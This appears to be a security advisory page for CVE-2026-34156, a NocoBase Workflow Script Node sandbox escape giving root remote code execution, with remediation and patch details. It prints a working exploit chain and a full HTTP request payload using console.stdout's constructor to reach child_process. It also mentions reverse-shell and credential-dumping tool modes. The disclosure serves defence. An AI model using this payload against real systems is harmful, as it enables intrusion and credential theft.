CVE-2026-34156: NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node

Published Mar 30, 2026
·
Updated

## Summary

NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOWSCRIPTMODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console.stdout and console.stderr.

An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.

Exploit Chain

1. console.stdout.constructor.constructor → host-realm Function constructor 2. Function('return process')() → Node.js process object 3. process.mainModule.require('childprocess') → unrestricted module loading 4. childprocess.execSync('id') → RCE as root

This completely bypasses the customRequire allowlist.

Impact

- Remote Code Execution as root (uid=0) inside Docker container - Database credential theft (DBPASSWORD, INITROOTPASSWORD from process.env) - Arbitrary file read/write via require('fs') - Reverse shell confirmed - Outbound network access for lateral movement

Proof of Concept

HTTP Request:

POST /api/flownodes:test Authorization: Bearer <JWTTOKEN> Content-Type: application/json

{ "type": "script", "config": { "content": "const Fn=console.stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('childprocess');return cp.execSync('id').toString().trim();", "timeout": 5000, "arguments": [] } }

Response:

{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}

Environment

- Docker image: nocobase/nocobase:latest - NocoBase CLI: v2.0.26 - Node.js: v20.20.1 - OS: Debian GNU/Linux 12 (bookworm)

PoC

Got reverse shell

<img width="1300" height="743" alt="Screenshot 2026-03-26 at 06 09 51" src="https://github.com/user-attachments/assets/fcb65346-2d98-485a-a849-153d5957c78e" />

Proof of concept the root privileges

<img width="1292" height="515" alt="Screenshot 2026-03-26 at 06 12 29" src="https://github.com/user-attachments/assets/599cd915-d5e9-47b6-9ddb-655ae4f22d50" />

os-release demonstration

<img width="1290" height="523" alt="Screenshot 2026-03-26 at 06 12 54" src="https://github.com/user-attachments/assets/48030450-f2b1-4edc-a7f0-caafbf55dd00" />

<img width="1296" height="516" alt="image" src="https://github.com/user-attachments/assets/f7012c09-885b-48fb-a6d4-7282c0326d0b" />

App path

<img width="1295" height="516" alt="Screenshot 2026-03-26 at 06 14 04" src="https://github.com/user-attachments/assets/b4846af8-cb10-4c2a-886f-b19a120c2245" />

Exploit Usage:

Reverse Shell Mode

<img width="1299" height="523" alt="tool1" src="https://github.com/user-attachments/assets/6c26d6f3-0ad2-4a61-9692-b150409ee569" />

Dump system information & creds

<img width="635" height="591" alt="tool2" src="https://github.com/user-attachments/assets/08dbc231-d686-4536-8a74-272ceb5c10a8" />

Remote Command Execution Mode

<img width="644" height="467" alt="tool3" src="https://github.com/user-attachments/assets/fc95d89b-eff5-4eec-87b4-f6022778feec" />

Remediation

1. Replace Node.js vm module with isolated-vm for true V8 isolate separation 2. Do not pass the host console object into the sandbox; create a clean proxy 3. Run the application as a non-root user inside Docker 4. Restrict /api/flownodes:test to admin-only roles

Alternative Escape Vectors

- console.stderr.constructor.constructor (identical chain via stderr) - Error.prepareStackTrace + CallSite.getThis() (V8 CallSite API)

Reporter

Onurcan Genç — Independent Security Researcher, Bilkent University

Other sources

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.28, NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOWSCRIPTMODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console.stdout and console.stderr. An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution as root. This issue has been patched in version 2.0.28.

MITRE

Affected Software

2 affected componentsFixes available
npm/@nocobase/plugin-workflow-javascript<=2.0.27
2.0.28
NocoBase NocoBase<2.0.28

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@nocobase/plugin-workflow-javascript to a version that resolves this vulnerability.

    Fixed in 2.0.28
  2. Upgrade

    Upgrade NocoBase (NocoBase CLI) to a version that resolves this vulnerability.

    Fixed in 2.0.28
  3. Configuration

    Run the NocoBase application as a non-root user inside Docker to reduce impact of sandbox escape leading to RCE as root.

    NocoBase Workflow Script Node Run application as non-root user inside Docker = non-root
  4. Configuration

    Restrict the endpoint /api/flow_nodes:test to admin-only roles.

    NocoBase Workflow Script Node API /api/flow_nodes:test authorization = admin-only
  5. Compensating control

    Replace Node.js vm module with isolated-vm for true V8 isolate separation to prevent prototype chain traversal/sandbox escape via console._stdout/_stderr.

Event History

Mar 30, 2026
Advisory Published
via GitHub·05:16 PM
Data Sourced
via GitHub·05:16 PM
DescriptionSeverityWeaknessAffected Software
Mar 31, 2026
CVE Published
via MITRE·01:33 PM
Data Sourced
via MITRE·01:33 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·02:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·02:16 PM
RemedyAffected Software
May 7, 2026
Exploit Published
via ExploitDB·12:00 AM
Known Exploited
04:46 PM

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203